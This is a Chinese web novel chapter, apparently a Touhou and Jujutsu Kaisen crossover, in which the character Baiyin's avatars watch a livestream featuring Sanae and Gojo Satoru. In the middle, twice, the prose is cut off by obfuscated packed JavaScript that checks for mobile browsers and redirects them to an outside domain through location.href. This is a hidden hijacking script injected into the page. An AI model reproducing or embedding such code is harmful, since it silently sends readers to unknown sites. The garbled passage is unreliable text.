“接下来就等有人来触发这个东西了，要是地位高的那群恶魔有谁被召唤，怎么说神绮大人也会注意到的。”放开手后，手腕上的伤口已然消失不见，她跟没事人一样甩了甩手，自言自语道，“总不可能七天都没有一个人经过这里吧？” 她想了想那个场景，觉得不怎么好笑，却也不是特别在意：“反正我在不违反‘禁止事项’的前提下努力过了，哪边都能交差。” 这个她大费周章整出来的召唤阵，只要被人碰到就会直接生效，从而召唤出她的马甲。七天自然是法阵能维持作用的时间，倘若七天内没有一个人触碰它，那它就会失去作用，变成一幅单纯的血画。 会做出这种行为的原因是她想来想去，觉得只给那些观众看一下召唤阵的做法太过拐弯抹角，不如直接留一个可以直接使用的给他们，等着某个幸运儿或者别有用心的人上钩。 当然这做法其实有很多弊端，只是先前也说过，马甲的不同会导致白银的思维方式产生思维的差别，因此原本套着爱丽丝马甲时不会做的事，在套上小恶魔的马甲后她就能很自然地做出来。 任性且喜欢恶作剧，不经过深思熟虑就展开行动，乃是小恶魔的天性，她做事全凭自己开心，故而想到什么就会直接动手。不过如此放飞自我还有其他的理由，那就是反正就算出了事最后负责擦屁股的也还是她自己，毕竟不管哪个马甲，是主意识还是分意识，严格来讲劳动的都是她一个人。 最后看了一眼不知道能存在多久的召唤阵，小恶魔再度张开翅膀，飞回了本不应离开的那个地方。 消磨完突如其来的兴致后，白银懒得再在直播里敷衍，干脆启动了马甲的休眠模式，让系统把直播截掉，自己回到了隙间之里。 没了包袱的她抱着个枕头在床上滚了一会后，才开始做正事。 处于休眠模式的马甲在别人眼里就像是在睡觉，遇到危险还会自动触发防御机制，因此可以随时回收马甲里的分意识，不需要让马甲回到隙间之里，也不用担心意识离体后马甲的安危。 她在心里感谢了一下这善解人意的设定，摊开身子闭上眼，开始按顺序接收由系统回收的分意识们带回来的记忆。 * 翌日。 爱丽丝坐在桌前，手里捣鼓着之前从卡池里抽出的人偶部件。虽然她可以操作人偶做到几乎所有事，但唯有制作人偶这件事是必须由她亲自动手的。她今天白天没有其他的计划，全部时间都打算用来制作一些特殊的人偶。 因为现在多了不少在外界晃的马甲，不用担心抽卡点数的问题，她反倒能清闲下来做一些自己感兴趣、一直以来都想尝试的事了。 桌上摆着冒着热气的红茶，那是人偶刚刚泡好端过来的，材料自不用说，是从系统那里兑换出来的。 爱丽丝停下忙碌的手，端起红茶缓缓地喝了一口，然后差点没被呛到。 不是因为红茶出了问题，而是她的面前突然冒出了一块蓝色的屏幕。 那块屏幕她很熟悉，因为昨天刚刚见过，还不止一次。几个马甲的记忆堆叠起来，她觉得自己对着那屏幕看了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14053147|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久。 昨天因为系统的保密功能太过优秀，导致身处隙间之里的马甲们没有接收到直播间的画面，只有在外界的马甲们才看到了直播。这样有一个缺陷，那就是外界的马甲可能会出于各种理由无法观看直播，万一所有马甲都没看到直播，那她就会错过直播的内容。 于是她和系统商量一番，最后系统把隙间之里的设定改了改，确保这里能接收直播间且不会被直播。 没想到这么快就又遇上了一次直播，虽然她对这个直播间是有很多想法，但这次直播的间隔会不会太短了？爱丽丝疑惑着，手指轻轻点上屏幕中的进入选项。 出现在画面里的人物让她不由得皱起眉头，因时间关系而略显稀疏的弹幕进入她的视线。 （来了来了，今天的直播开得挺早） （哦，美少女！我喜欢！） （前面那个是不是昨天没看直播，昨天的主角可真是我见过的最精致的脸了，比偶像还偶像！） （快醒醒，昨天那个可是妖怪ww，危险分子哦ww） （但是我觉得这个可能也不怎么正常，那个白蛇和青蛙的发饰给我的感觉好渗人） 这次被直播的对象，是守矢神社的风祝、现人神东风谷早苗。 看着屏幕里的绿发少女正无所察觉地准备着早饭，爱丽丝的眉头皱得更深了。在一堆包括了“哎呀有人夸我不愧是幻想乡第一偶像”的乱七八糟的想法中，排在最前端的是——莫非主意识被直播间缠上了？ 没错，现在在爱丽丝马甲里的只不过是白银的一缕分意识，再怎么说，窝在隙间之里做人偶这个工作对于主意识而言也过于安分了。难得有这样的机会，在外界好好晃悠才是她更感兴趣的事。 于是在权衡了一番后，主意识跑到了东风谷早苗的马甲里，然后好巧不巧，直播间的镜头又对准了她。 正在爱丽丝下意识用手指敲击桌面，纠结着要不要在弹幕里问上一句的时候，已经有善解人意的网友替她做了决定。 （昨天才播过，今天又有，是连续直播吗？） （但是不是昨天的人诶，应该只是碰巧间隔比较短？） （也可能是新的机制？这东西不是偶尔会有更新嘛） 看到几个关键词，爱丽丝挑了挑眉。 看来以前也会有连续直播的时候，只不过那时候屏幕里的人没有发生变化。虽然现在屏幕里的人实际上也没有发生变化——毕竟芯子里是同一个——但观众不知道，对此心知肚明的只有马甲们。 既然有过先例，那暂时就没法得出她被直播针对了的结论。于是爱丽丝把屏幕划远了一点，低头继续自己刚才的工作。 她还没闲到能一直盯着直播看，充其量会偶尔抬头瞥一眼权当放松。况且昨天已经决定了专门负责这方面的人选，所以只要不是特殊情况，除了那人之外的马甲们看不看直播都全凭自己的心情。 现在还是她手上的事更加重要。 23. 第 23 章 负责观看直播的人当然有在认真地履行自己的职责。 因为没有工具能记录直播的内容，唯一能依靠的只有自己的记忆，于是有着过目不忘能力的人就被交代了这份工作。 比起只要见过一次的事物就不会忘记的记忆能力，体质相对很弱、在幻想乡时都很少外出的稗田阿求，白银当然不可能让她跑到外界那种危险的地方。恰好直播间的出现让她不至于在隙间之里无所事事，理所当然记录的工作就将记录的工作交给了她。 稗田阿求面色淡定地盯着屏幕画面，顺手接过身边的仆从递过来的茶。 说起来，稗田阿求的马甲让白银刷新了一下所有物的概念，明明其他马甲的对应池子里都是些类似于魔法道具、武器、符卡之类的玩意儿，而稗田阿求的池子里除了书籍、衣物、屋产，甚至还有仆人这种东西。 刚刚为她沏茶的，便是她从卡池里抽到的仆从之一，没想到她有朝一日会通过这种方法过上被人伺候的生活，不愧是系统。只不过…… 稗田阿求轻轻瞥了一眼恭敬地等候在一旁的仆人，对方对她面前的屏幕完全没有反应，视点也并未集中于某处，给人的感觉就像是全息游戏里的NPC。 按下心底的一些想法，她重新把视线投到直播画面上。 屏幕里的绿发女孩已经做好了早餐，她的动作娴熟得像是重复过不知道多少遍，丝毫看不出几天之前还只是个经常不吃早饭、喜欢靠外卖过日子的人，只能说马甲自带的技能真是伟大。 目前直播的画面没什么爆点，于是稗田阿求将注意力放在一旁的弹幕上。 （又是女的？我想看帅哥，帅哥成分严重不足——） 别担心，估计很快就能看到帅哥了。 （昨天那个卷发的我觉得不错，很有潜力！） 那可不，魅力拉满的魔性之男跟你开玩笑哦？ （但是人家跟妖怪混在一起了ww，而且还是个超级美少女） （人类和妖怪是没有结果的！） 拜托，混在一起又不能代表什么，她还不至于顶着马甲去欺骗人纯情少年的感情好吗？再说男女之间就不能有纯纯的战友情了？ （那可是个罪犯诶，你们都能下得去手？这就是所谓的三观跟着五官跑吗？？） 看到这条不知道是出于何种心态发出的弹幕时，稗田阿求就暗觉不妙。 随着时间的推移，直播间里的人气渐渐高涨起来，弹幕自然也变得多了些。弹幕一多，就很容易出现一些杂七杂八的发言，引起冲突，毕竟不能指望这个观众成分复杂的直播间会有人出来维持秩序。 虽然这弹幕一看很钓鱼，但耐不住总有鱼要上钩。 （哎哟，你这是嫉妒人家长得帅吗？明明昨天解释过那是冤罪了，选择性耳聋还是选择性眼瞎？） （他解释了你就信啊，谁知道是不是骗人的） （骗谁？骗妖怪？） （昨天不是吵过了，怎么又来） 确实如此，稗田阿求回想起昨天弹幕里的论战，决定无视这些与昨天大同小异的言论。说不定这群人只是在借这个机会发泄起床气，一会估计就没了。 在东风谷早苗将早餐端到桌上时，弹幕正因为两人份的食物而对另一个人的身份进行打赌。果然不管哪届网友都是那么的闲，看着屏幕上那些有理有据或者脑洞大开的推测，稗田阿求露出若有若无的微笑。 年轻人，图样图森破，等到另一个人出来，你们怕不是全都得炸。 恰好这时画面里的东风谷早苗听到脚步声，朝某个方向看去，并笑着向声音的主人打了声招呼：“早上好，五条桑，早饭刚刚准备好。” 于是镜头便很有灵性地开始偏移，为观众们揭晓答案。 穿着一身休闲服，看上去刚起床不久的五条悟出现在画面里，他伸着懒腰，很是敷衍地应答了一声。 （这腿！这腰！这锁骨！这不是我老公吗！！） （好久不见！我又可以了！！） （为什么！这里！会出现五条悟？！） 弹幕没有出乎稗田阿求的预料，在五条悟出场的那一刻直接炸开来。 不知道自己正在被直播，也不知道弹幕里的那些鬼哭狼嚎，五条悟歪头看一了眼桌上很是标准的日式早餐，拉开椅子一把坐下。他完全没有大人样地用筷子戳着食物，嘴里念念叨叨：“真是很久没有过这种日子了。” 他指的自然是有人替自己做饭这件事。 想想他以前好歹是五条家的大少爷，在家里都是被人伺候着吃饭的，但自从和咒术界以及五条家断绝来往、过上自由的独居生活之后，除了偶尔的心血来潮外，他都一直是自己做饭自己解决，就连那些所谓大人物的饭局他都很少答应。 这不是说他对此有什么不满，他早就想好应该舍去什么、应该握住什么。况且完美的五条大人不管做什么都是手到擒来，稍微花了点时间，他的手艺就已经能赶上外面那些厨师了。如今只是突然想起之前的生活，有些感慨。 “是吗？”不知道对方短时间内想了这么多的东风谷早苗歪了歪头，不是很在意地回答，“这种日子应该会持续一段时间吧，在找到灵梦小姐之前，我会一直跟着你。” 然后按照承诺，在居住的这段时间内，她会包下所有的家务。 五条悟闻言，慢悠悠地瞟了少女一眼，无所谓道：“你开心就好。” 他本来没有这个意思，怎奈少女打定主意不想白吃白住，要依靠劳动抵消自己生活产生的费用，就算那点钱对于他而言跟没有是一样。 在他们对话的期间，直播间的人数暴涨，似乎有很多得知五条悟也在直播间里的观众涌了进来。这没有超出稗田阿求的预料，像五条悟这样的人物，直播间不可能没有直播过，且直播的次数多半不少。 虽然目前还猜不出这个直播间到底是用来做什么的，但不管它想达成什么目的，直播间都不能缺少观众。什么样的内容能用来吸引观众？好看的——毕竟世界不缺少颜狗这种生物；神秘的——有种说法是人的原动力乃是好奇心；戏剧的——谁让生活总是枯燥烦闷而无聊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14053148|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 五条悟帅不帅？在街上拉十个人回答，其中九个人会回答帅，一个人会回答非常帅，回答不帅那就是在昧着良心说话。 五条悟神不神秘？那双特殊的眼睛、强大但难用的能力，二者合一，为他添上了强烈的非人光环。 五条悟的生活够不够戏剧？至少他秒杀特级咒灵的日常并不是普通人能接触到的生活。 更别提这世界的五条悟不知为何摆脱了原作的007生活，整个人过得肆意又放纵，好似没有东西能将他束缚一般。他没有为了谁收敛自己的脾气，因此显得越发引人注目。 所以粉丝很多也是能理解的事，稗田阿求看着乱作一团的弹幕面无表情地想。 弹幕跳动得太快，以至于她必须屏蔽掉一些没有意义的语句，才能看清上面的内容。 （那个天上天下唯我独尊的五条悟居然和人同居了？？） （那个“只要我开心什么都好”的五条悟居然会和别人一起过日子？？） （那个性格只能用恶劣来形容的五条悟居然有人能受得住和他一起长期生活？？） 至于吗至于吗，不就是同了个居吃了顿饭讲了会话你们至于这种反应吗？在你们的心里五条悟到底是个什么形象？？再说……性格什么的，守矢家的风祝大人也不能说很正常。 其实事情发展成现在这个模样并不在她的意料之内。 昨天东风谷早苗带着那颗阴阳玉跟踪了一天五条悟，不出所料被发现了，她当时很是理直气壮地承认了在监视对方，为此搬出了在他身边更有可能知道灵梦的消息这个借口。意外的是五条悟对此没有表现出反感，反而兴致勃勃地问起她晚上的打算。 “晚上？”沉迷了一天美色的风祝大人转了转她还没生锈的脑袋。她身为一个需要睡觉休息的人类，不能全天24小时一直跟踪五条悟，要是夜间放任五条悟以自由行动，那她所谓的监视就只是个笑话。于是她思考了一下，很不确定地回答：“……让夜行性的妖怪来？” 原本还义正言辞的人气势突然减弱的样子显然是愉悦到了五条悟，他扬起那好看的嘴唇，分外贴心地对着面前未经人事的少女提出建议：“不用那么麻烦，你直接在我家住下吧。” “你有什么目的？”东风谷早苗警觉地发问。 正所谓无事献殷勤，非奸即盗。即使五条悟再怎么没有距离感，也应该知道，一个成年男性让素未谋面的少女住自己家不是一件正常的事，更别提对方来路不明。偏生他一点都不认为自己的提议在别人眼中有多么奇怪，甚至语调里还带着些许委屈：“我可是好心好意给你提供监视我的途径啊，你应该对五条大人的通情达理表示感谢。” 万万没想到，五条悟能和通情达理这个词扯上关系。真是太可疑了，可疑的味道如同有人在宿舍里煮螺蛳粉，但偏偏对她有十足的吸引力。 所以即便不知道五条悟发出这种邀请的理由与目的，最终她还是抱着对“五条悟”和自家系统的信任，稀里糊涂地答应了邀请，并有模有样地约法三章，造就了现在这个局面。